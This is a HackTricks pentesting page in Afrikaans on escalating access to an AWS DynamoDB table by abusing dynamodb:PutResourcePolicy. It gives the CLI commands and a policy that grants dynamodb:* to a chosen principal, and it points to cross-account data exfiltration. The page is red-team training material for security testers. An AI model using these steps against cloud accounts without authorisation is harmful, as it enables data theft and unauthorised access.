AWS - DynamoDB Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

dynamodb

Vir meer inligting oor dynamodb, kyk:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy

Sedert Maart 2024 bied AWS hulpbron-gebaseerde beleide vir DynamoDB aan (AWS News).

As jy dus die dynamodb:PutResourcePolicy vir ’n tabel het, kan jy net vir jouself of enige ander principal volledige toegang tot die tabel gee.

Om die dynamodb:PutResourcePolicy aan ’n ewekansige principal toe te ken gebeur dikwels per ongeluk, as die admins dink dat die toekenning van dynamodb:Put* slegs die principal sal toelaat om items in die databasis te sit — of as hulle daardie permissionset voor Maart 2024 toegeken het…

Ideaal gesproke het jy ook dynamodb:GetResourcePolicy, sodat jy nie ander moontlik noodsaaklike permissies oorskryf nie, maar slegs die bygevoegde permissies wat jy benodig invoeg:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

As jy nie die huidige beleid kan kry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou principal verleen:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

As jy dit moet aanpas, hier is ’n lys van alle moontlike DynamoDB-aksies: AWS Documentation. En hier is ’n lys van alle aksies wat via ’n resource based policy toegelaat kan word EN watter van hierdie vir cross-account gebruik kan word (think data exfiltration!): AWS Documentation

Nou, met die beleidsdokument policy.json gereed, plaas die resource policy:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Nou behoort jy die permissions te hê wat jy nodig gehad het.

Post Exploitation

Sover ek weet is daar geen ander direkte manier om escalate privileges in AWS net deur sommige AWS dynamodb permissions te hê. Jy kan read sensitive inligting van die tables (wat AWS credentials kan bevat) en write information on the tables (wat ander kwesbaarhede kan aktiveer, soos lambda code injections…), maar al hierdie opsies word reeds bespreek op die DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Lees data deur data Streams te misbruik

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks